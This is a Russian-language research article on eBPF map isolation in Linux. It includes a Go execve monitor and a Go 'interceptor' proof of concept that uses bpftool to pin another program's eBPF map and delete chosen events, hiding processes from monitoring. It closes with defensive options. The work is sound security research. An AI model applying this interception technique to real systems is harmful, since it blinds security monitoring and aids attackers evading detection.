(Не)безопасный eBPF: что маркетологи забыли упомянуть об уязвимостях
- понедельник, 1 июня 2026 г. в 00:00:21
Данная статья носит исключительно исследовательский характер. Моя цель - рассказать сообществу об архитектурных особенностях подсистемы eBPF в Linux.
Ведь для того чтобы эффективно защищать системы, необходимо знать об ограничениях используемых технологий.
Для чтения статьи надо уже быть знакомым с Linux и eBPF. Но если все еще интересно, то оставлю тут ссылку на то, как устроена эта технология.
В последнее все чаще решения ИБ продуктов для мониторинга Linux систем переходят с kernel modules на eBPF.
Оно и понятно.
Поддержка модулей ядра для Linux - занятие крайне тяжелое. Коммьюнити не поддерживает API неизменным: количество дистрибутивов на рынке только увеличивается, и все пытаются привнести что-то свое в систему. А в итоге мы видим, как меняются системные вызовы, как структуры меняют свои размеры и смещения не только в зависимости от дистрибутива, но и от версии ядра.
Linux давно стал популярным для серверных корпоративных решений. Сегмент российских операционных систем строится на ядре Linux. Популярность растет, а с ней и потребность в ИТ и ИБ продуктах.
И тут на каждом углу начинают кричать о eBPF, как о способе, решающем все проблемы с совместимостью, безопасностью и тд.
eBPF - это:
безопасность ядра благодаря верификатору и изолированности технологии;
легкая поддержка относительно модулей ядра;
удобные библиотеки на C++, Go, Python, Rust для совместного использования;
кроссдистрибутивность за счет CO-RE (с нюансами: зависимость от BTF-информации ядра, проблемы со старыми ядрами <5.2, об этом однажды выйдет полноценная статья).
eBPF - это также:
видимость активности ядра из пользовательского пространства — даже без глубоких знаний об архитектуре eBPF и Linux;
низкий порог входа для реализации базовых сценариев компрометацииы;
отсутствие изоляции данных между привилегированными процессами.
Звучит уже не так сказочно, правда?
Для демонстрации простого примера уязвимости напишем две программы: монитор старта процессов (eBPF + Go) и программу перехватчик (только Go).
При желании можно повторить тоже самое на С++/Python/Rust. Вкусовщина.
Go выбран из-за удобной библиотеки и скорости разработки, так как пример демонстрационный.
Я не буду писать о том, как связать Go и eBPF, иначе статья разрастется. Но оставлю ссылку на туториал тут и в конце статьи.
Программа будет состоять из двух частей:
eBPF-модуль, посылающий данные о каждом системном вызове execve;
программа в пространстве пользователя на Go, отвечающая за загрузку байт-кода eBPF-модуля в ядро и за получение данных.
Напишем eBPF-модуль, подключающийся к tracepoint для мониторинга системного вызова execve.
Не забываем про //go:build ignore в начале файла execve_monitoring.c для того, чтобы сборщик Go не пытался собрать C код.
//go:build ignore #include <linux/bpf.h> #include <bpf/bpf_helpers.h> #define MAX_PATH 256 #define TASK_COMM_LEN 16 // Структура, которую мы будем передавать в пользовательское пространство struct start_ps_event { __u32 pid; char cmd[TASK_COMM_LEN]; char filename[MAX_PATH]; } __attribute__((packed)); // Наша мапа, через которую мы будем все передавать struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1024); __type(key, __u32); __type(value, struct start_ps_event); } ps_info SEC(".maps"); // определение системной структуры данных // приходит вместе с уведомлением о старте процесса struct syscalls_enter_execve_args { unsigned short common_type; unsigned char common_flags; unsigned char common_preempt_count; int common_pid; int __syscall_nr; const char *filename; const char *const *argv; const char *const *envp; }; // Основная функция мониторинга SEC("tracepoint/syscalls/sys_enter_execve") int GetStartedPid(struct syscalls_enter_execve_args* ctx) { struct start_ps_event event = {}; // Получаем PID и имя команды event.pid = bpf_get_current_pid_tgid() >> 32; bpf_get_current_comm(event.cmd, sizeof(event.cmd)); // Читаем путь к исполняемому файлу bpf_probe_read_user_str(event.filename, sizeof(event.filename), ctx->filename); // Используем PID в качестве ключа мапы, чтобы события не перезаписывали друг друга __u32 key = event.pid; bpf_printk("BPF PRINT: process %s started\n", event.cmd); // Записываем структуру в мапу long res = bpf_map_update_elem(&ps_info, &key, &event, BPF_ANY); return 0; } char _license[] SEC("license") = "GPL";
Наш main.goделает минимум: загружает байт-код программы execve_monitoring.c в ядро. Ожидает, получает, считывает данные из мапы и выводит их с временными метками в терминал.
package main import ( "bytes" "fmt" "log" "os" "os/signal" "syscall" "time" "github.com/cilium/ebpf/link" "github.com/cilium/ebpf/rlimit" ) // Структура должна быть аналогичной нашей start_ps_event из execve_monitoring.c // Должны совпадать и порядок, и типы, и размеры type StartPSEvent struct { Pid uint32 Cmd [16]byte Filename [256]byte } func GetStrFromBytes(b []byte) string { if idx := bytes.IndexByte(b, 0); idx != -1 { return string(b[:idx]) } return string(b) } func main() { if err := rlimit.RemoveMemlock(); err != nil { log.Fatalf("Failed to remove memlock: %v", err) } // Загружаем eBPF объекты напрямую в ядро objs := ps_start_hashObjects{} if err := loadPs_start_hashObjects(&objs, nil); err != nil { log.Fatalf("Failed to load eBPF objects: %v", err) } defer objs.Close() // Подключаемся к tracepoint tp, err := link.Tracepoint("syscalls", "sys_enter_execve", objs.GetStartedPid, nil) if err != nil { log.Fatalf("Failed to attach tracepoint: %v", err) } defer tp.Close() fmt.Println("eBPF program running and polling Hash Map...") sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) stopChan := make(chan struct{}) // Запускаем периодическое чтение из нашей мапы go func() { for { select { case <-stopChan: return default: var ( key uint32 nextKey uint32 ) var keysToProcess []uint32 // Собираем все текущие ключи из мапы err := objs.PsInfo.NextKey(nil, &nextKey) for err == nil { key = nextKey keysToProcess = append(keysToProcess, key) err = objs.PsInfo.NextKey(key, &nextKey) } // Если карта пуста, ждем 10мс и проверяем снова if len(keysToProcess) == 0 { time.Sleep(10 * time.Millisecond) continue } // пусть тут происходит какая-то работа time.Sleep(1 * time.Millisecond) // Перебираем собранные ключи, читаем данные и сразу удаляем var e StartPSEvent for _, k := range keysToProcess { if lookupErr := objs.PsInfo.Lookup(k, &e); lookupErr == nil { log.Printf("Execve: PID=%d, Process=%s, File=%s\n", e.Pid, GetStrFromBytes(e.Cmd[:]), GetStrFromBytes(e.Filename[:]), ) // Удаляем элемент, чтобы освободить место для новых событий ядра if delErr := objs.PsInfo.Delete(k); delErr != nil { log.Printf("Warning: failed to delete key %d: %v", k, delErr) } } } // Короткая пауза между итерациями time.Sleep(5 * time.Millisecond) } } }() <-sigChan close(stopChan) fmt.Println("Shutting down...") }
Запустим нашу программу и увидим в терминале вывод данных обо всех вызовах execve в системе с именами файлов, pid и именем процесса.
just_me@just_me:~/go_ebpf_ps_start$ go build && sudo ./hash [sudo] password for just_me: eBPF program running and polling Hash Map... Execve: PID=256619, Process=code, File=/bin/sh Execve: PID=256621, Process=code, File=/bin/sh Execve: PID=256622, Process=sh, File=/usr/bin/ps Execve: PID=256620, Process=sh, File=/usr/bin/which Execve: PID=256627, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256623, Process=code, File=/bin/sh Execve: PID=256624, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh Execve: PID=256629, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256625, Process=cpuUsage.sh, File=/usr/bin/sed Execve: PID=256626, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256628, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256630, Process=cpuUsage.sh, File=/usr/bin/sleep Execve: PID=256632, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256631, Process=cpuUsage.sh, File=/usr/bin/sed Execve: PID=256638, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256634, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256636, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256641, Process=code, File=/bin/sh Execve: PID=256642, Process=sh, File=/usr/bin/which Execve: PID=256643, Process=code, File=/bin/sh Execve: PID=256644, Process=sh, File=/usr/bin/ps Execve: PID=256649, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256646, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh Execve: PID=256645, Process=code, File=/bin/sh Execve: PID=256650, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256652, Process=cpuUsage.sh, File=/usr/bin/sleep Execve: PID=256647, Process=cpuUsage.sh, File=/usr/bin/sed Execve: PID=256651, Process=cpuUsage.sh, File=/usr/bin/cat Execve: PID=256648, Process=cpuUsage.sh, File=/usr/bin/cat ...
Супер, мониторинг работает. Значит можно переходить к интересному.
Если вы никогда не работали с eBPF сначала устанавливаем необходимый инструментарий
sudo apt update sudo apt install linux-tools-common linux-tools-generic linux-tools-$(uname -r) sudo apt install bpftool
Для предыдущего пункта он тоже нужен, но моя задача показать, насколько просто воспользоваться данной уязвимостью с нуля
Выполняем следующую команду
sudo bpftool map list
Видим результат - список всех открытых eBPF-map в системе и некоторая информация о них.
just_me@just_me:/~$ sudo bpftool map list 1: hash flags 0x0 key 9B value 1B max_entries 500 memlock 46432B 2: hash flags 0x0 key 9B value 1B max_entries 500 memlock 46432B 4: hash flags 0x0 key 9B value 1B max_entries 500 memlock 46432B 5: hash name s_libreoffice_h flags 0x0 key 9B value 1B max_entries 1000 memlock 90624B 133: hash name s_firmware_upda flags 0x0 key 9B value 1B max_entries 1000 memlock 90624B 138: hash name s_mesa_2404_hoo flags 0x0 key 9B value 1B max_entries 1000 memlock 90624B 139: hash name s_chromium_hook flags 0x0 key 9B value 1B max_entries 1000 memlock 90624B 178: array name .rodata flags 0x480 key 4B value 31B max_entries 1 memlock 8192B btf_id 437 frozen 179: hash name ps_info flags 0x0 key 4B value 276B max_entries 1024 memlock 365856B btf_id 438
Теперь разберемся, какую именно информацию о нашей мапе можно забрать из этого вывода.
Для этого взглянем еще раз на описание нашей структуры из файла execve_monitor.c
struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 1024); __type(key, __u32); __type(value, struct start_ps_event); } ps_info SEC(".maps");
А теперь приглядитесь к строке 19 результатов команды sudo bpftool map list
Что видим в терминале? | Что это на самом деле? |
| точное имя нашей структуры общения с пространством пользователя |
| используемый нами тип мапы, от которого напрямую зависит способ получения и разбора приходящих данных (в |
| идентификатор нашей мапы, знание которого нам и позволит в дальнейшем к ней подключиться. |
О нет! Как читать бинарные данные, когда нет вида приходящей структуры?
К сожалению, не так сложно. Тут стоит напомнить про реверс-инжиниринг.
Восстановление структуры зависит от флагов сборки, наличия отладочной информации и языка реализации. Но в нашей демонстрационном бинарнике на Go без stripping статический анализ (Ghidra/IDA) быстро выдаёт смещения и имена полей.
В production-сборках задача усложняется: оптимизации, кастомная сериализация или отсутствие символов потребуют динамического анализа и ручной реконструкции. Тем не менее, барьер входа остаётся существенно ниже, чем при реверсе kernel modules.
Для того, чтобы получить доступ к чужой eBPF мапе нужно закрепить ее в пространстве пользователя.
Это делается простой командой
sudo bpftool map pin id 179 /sys/fs/bpf/my_shared_map
Пользуемся id, который мы получили в прошлом разделе.
Место и название закрепления мапы не принципиально, просто надо запомнить путь, в программе перехватчике он нам пригодится.
Посмотрите еще раз на вывод мониторинга до подключения перехватчика. Заметно достаточно много вызовов с именем процесса cpuUsage.sh
Наш перехватчик миролюбивый, поэтому настроим его на фильтрацию спама от cpuUsage.sh
Перейдем к коду перехватчика. Тут только Go часть, eBPF нам не нужен.
package main import ( "bytes" "log" "time" "github.com/cilium/ebpf" ) // Восстановили структуру из Ghidra и пользуемся ей type StartPSEvent struct { Pid uint32 Cmd [16]byte Filename [256]byte } func GetStrFromBytes(b []byte) string { if idx := bytes.IndexByte(b, 0); idx != -1 { return string(b[:idx]) } return string(b) } func main() { mapPath := "/sys/fs/bpf/my_shared_map" m, err := ebpf.LoadPinnedMap(mapPath, nil) if err != nil { log.Fatalf("Не удалось открыть карту: %v", err) } defer m.Close() log.Println("Успешно подключились к мапею Начинаем чтение...") for { var ( key uint32 nextKey uint32 ) var keysToProcess []uint32 err := m.NextKey(nil, &nextKey) for err == nil { key = nextKey keysToProcess = append(keysToProcess, key) err = m.NextKey(key, &nextKey) } if len(keysToProcess) == 0 { time.Sleep(10 * time.Millisecond) continue } // Перебираем собранные ключи, читаем данные и удаляем элементы var value StartPSEvent for _, k := range keysToProcess { if lookupErr := m.Lookup(k, &value); lookupErr == nil { filename := GetStrFromBytes(value.Filename[:]) cmd := GetStrFromBytes(value.Cmd[:]) // Фильтруем процессы по имени if cmd != "cpuUsage.sh" { continue } log.Printf("ID ключа: %d | PID процесса: %d, Имя файла: %s, cmd: %s", k, value.Pid, filename, cmd) // Теперь удаляем из мапы запись о процессе с именем cpuUsage.sh if delErr := m.Delete(k); delErr != nil { log.Printf("Предупреждение: не удалось удалить ключ %d (возможно, процесс уже удален): %v", k, delErr) } } } // Небольшая пауза после обработки пачки, чтобы дать ядру заполнить мапу time.Sleep(5 * time.Millisecond) } }
Запустили мониторинг, подключили перехватчик. Теперь посмотрим на их вывод:
2026/05/30 17:58:07 Успешно подключились к мапе. Начинаем чтение... 2026/05/30 17:58:07 ID ключа: 258667 | PID процесса: 258667, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:07 ID ключа: 258666 | PID процесса: 258666, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258675 | PID процесса: 258675, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258676 | PID процесса: 258676, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258677 | PID процесса: 258677, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258678 | PID процесса: 258678, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258679 | PID процесса: 258679, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:08 ID ключа: 258680 | PID процесса: 258680, Имя файла: /usr/bin/sleep, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258681 | PID процесса: 258681, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258682 | PID процесса: 258682, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258684 | PID процесса: 258684, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258686 | PID процесса: 258686, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258688 | PID процесса: 258688, Имя файла: /usr/bin/cat, cmd: cpuUsage.sh 2026/05/30 17:58:09 ID ключа: 258696 | PID процесса: 258696, Имя файла: /usr/bin/sed, cmd: cpuUsage.sh
Судя по логам, перехватчик был подключен к мапе 2026/05/30 17:58:07.
Напоминаю, что заранее он был настроен на фильтрацию процессов с именем cpuUsage.sh
Теперь посмотрим как менялся вывод нашего мониторинга в процессе его работы при включении перехватчика:
2026/05/30 17:58:05 Execve: PID=258632, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:05 Execve: PID=258627, Process=code, File=/bin/sh 2026/05/30 17:58:05 Execve: PID=258629, Process=cpuUsage.sh, File=/usr/bin/sed 2026/05/30 17:58:05 Execve: PID=258630, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:05 Execve: PID=258633, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:05 Execve: PID=258634, Process=cpuUsage.sh, File=/usr/bin/sleep 2026/05/30 17:58:05 Execve: PID=258631, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:05 Execve: PID=258628, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh 2026/05/30 17:58:06 Execve: PID=258638, Process=cpuUsage.sh, File=/usr/bin/sed 2026/05/30 17:58:06 Execve: PID=258639, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:06 Execve: PID=258643, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:06 Execve: PID=258645, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:06 Execve: PID=258641, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:06 Execve: PID=258648, Process=code, File=/bin/sh 2026/05/30 17:58:06 Execve: PID=258649, Process=sh, File=/usr/bin/which 2026/05/30 17:58:06 Execve: PID=258651, Process=sh, File=/usr/bin/ps 2026/05/30 17:58:06 Execve: PID=258650, Process=code, File=/bin/sh 2026/05/30 17:58:06 Execve: PID=258655, Process=cpuUsage.sh, File=/usr/bin/sed 2026/05/30 17:58:06 Execve: PID=258654, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh 2026/05/30 17:58:06 Execve: PID=258653, Process=code, File=/bin/sh 2026/05/30 17:58:06 Execve: PID=258656, Process=cpuUsage.sh, File=/usr/bin/cat 2026/05/30 17:58:06 Execve: PID=258657, Process=cpuUsage.sh, File=/usr/bin/sleep 2026/05/30 17:58:07 Execve: PID=258659, Process=bash, File=/usr/bin/sudo 2026/05/30 17:58:07 Execve: PID=258661, Process=sudo, File=./block 2026/05/30 17:58:08 Execve: PID=258669, Process=code, File=/bin/sh 2026/05/30 17:58:08 Execve: PID=258670, Process=sh, File=/usr/bin/which 2026/05/30 17:58:08 Execve: PID=258672, Process=sh, File=/usr/bin/ps 2026/05/30 17:58:08 Execve: PID=258671, Process=code, File=/bin/sh 2026/05/30 17:58:08 Execve: PID=258674, Process=sh, File=/snap/code/195/usr/share/code/resources/app/out/vs/base/node/cpuUsage.sh 2026/05/30 17:58:08 Execve: PID=258673, Process=code, File=/bin/sh 2026/05/30 17:58:09 Execve: PID=258690, Process=code, File=/bin/sh 2026/05/30 17:58:09 Execve: PID=258691, Process=sh, File=/usr/bin/which 2026/05/30 17:58:09 Execve: PID=258693, Process=sh, File=/usr/bin/ps 2026/05/30 17:58:09 Execve: PID=258692, Process=code, File=/bin/sh
2026/05/30 17:58:05 - 2026/05/30 17:58:06 - первая и последняя запись о системном вызове execve для cpuUsage.sh
2026/05/30 17:58:07 - с этого момента события о cpuUsage.sh есть в системе, eBPF программа их фиксирует, но видим мы их только в программе перехватчике.
Монитор эти события больше не получает.
Ура! Mы получили возможность перехватывать события мониторинга, используя только базовый реверс инжениринг, Go и пару команд терминала.
В коде пользовательской части мониторинга можно увидеть присутствие задержки в 1 миллисекунду перед чтением из мапы.
// пусть тут происходит какая-то работа time.Sleep(1 * time.Millisecond)
Это сделано намеренно для того, чтобы показать возможность фильтрации и не демонстрировать в логах гонку перехватчика и мониторинга.
Эта ситуация — классический пример race condition на уровне потребления событий безопасности. Кто первый успел прочитать и удалить запись из мапы, тот и получил данные.
Если задержку в примере убрать, то и тот и другой будут получать события, но перехватчик и монитор иногда будут бороться за удаление событий из общей мапы, что отразится в логах как ошибка удаления несуществующего элемента.
Демонстрация собрана на: Linux 6.11.0-26-generic, Go go1.23.4 linux/amd64, libbpf/cilium-ebpf последней стабильной версии.
На старых ядрах (<5.8) поведение может отличаться.
Весь этот пример — прямое следствие отсутствия разграничения прав доступа между процессами при работе с eBPF-мапами. В модели Linux, где root един, любой привилегированный процесс получает доступ ко всем ресурсам ядра, включая каналы передачи данных мониторинга.
Скажу сразу: в production-средах не все так плохо, как показано в статье
Тут приведен упрощенный пример работы с eBPF. Условия для использования против пользователя этой уязвимости в продуктах будут сложнее.
Но проблема всё-таки есть, и она явно не исследована до конца.
Поэтому вопрос защиты дискуссионный и зачастую будет сводиться к компромиссам. Готовых решений и статей по этому вопросу я пока не нашла (если они есть, прошу оставить ссылки в комментариях). Поэтому в этом разделе поделюсь своим видением вариантов решения проблемы.
В статье пример мапы типа hash, у нее свой механизм. Работа с array, ring buffer и тд, будет отличаться, где‑то не будет доступно такое простое удаление, где‑то не будет дубляжа событий для разных процессов.
От типа мапы многое зависит, и его стоит выбирать под нужды проекта. Вот документация по мапам.
Также в статье не рассматривался вопрос с правами доступа. В eBPF есть механизмы защиты для map ‑, например, флаг доступа BPF_F_RDONLY_PROG. Но он может лишь немного усложнить жизнь злоумышленнику. Для перехвата необходимо будет писать и eBPF программу.
Также есть sysctl параметр, который отвечает за возможность загрузки eBPF кода в зависимости от его уровня привилегий. Чтобы узнать его значение в терминале введите следующее:
sysctl kernel.unprivileged_bpf_disabled
Если = 1 — обычный пользователь не сможет загрузить eBPF программу;
Если = 0 — (дефолт во многих дистрибутивах) — не root тоже может пользоваться механизмом;
Если = 2 — тоже, что и 1, но запрещает изменение самого параметра не-привилегированным пользователям.
Если ваше решение не устанавливает явные флаги доступа (BPF_F_RDONLY_PROG) и не контролирует pinning, оно по умолчанию доверяет любому процессу с правами root в системе.
Не использовать eBPF в продуктовых средах. Но это плохой вариант.
Хоть eBPF и BPF были созданы для локального мониторинга, несмотря на явные недостатки для продуктового использования, есть и явные преимущества. Они касаются более простой поддержки, стабильного API, BTF, позволяющего избегать использование структур ядра нативно. А аналогов пока нет.
Этот вариант на практике не проверялся. Дальше лишь мои предположения.
Можно комбинировать kernel modules/LSM с eBPF для защиты мапы.
Основной код мониторинга будет оставаться более переносимым. В поддержке под ядра будет нуждаться (относительно) малая часть, ответственная за защиту подключения к мапе.
На самом деле eBPF представляет большой интерес как практический, так и исследовательский.
Интересно, как дальше будет развиваться этот механизм с учетом того, как сейчас его активно используют в production-средах, что eBPF давно перестал быть только продвинутым инструментом SRE/DevOps/Администраторов и тд, возможно его ждут архитектурные изменения.
А нам остается только наблюдать и подстраиваться.
Статья основана на личном исследовании. Критика и дополнения в комментариях приветствуются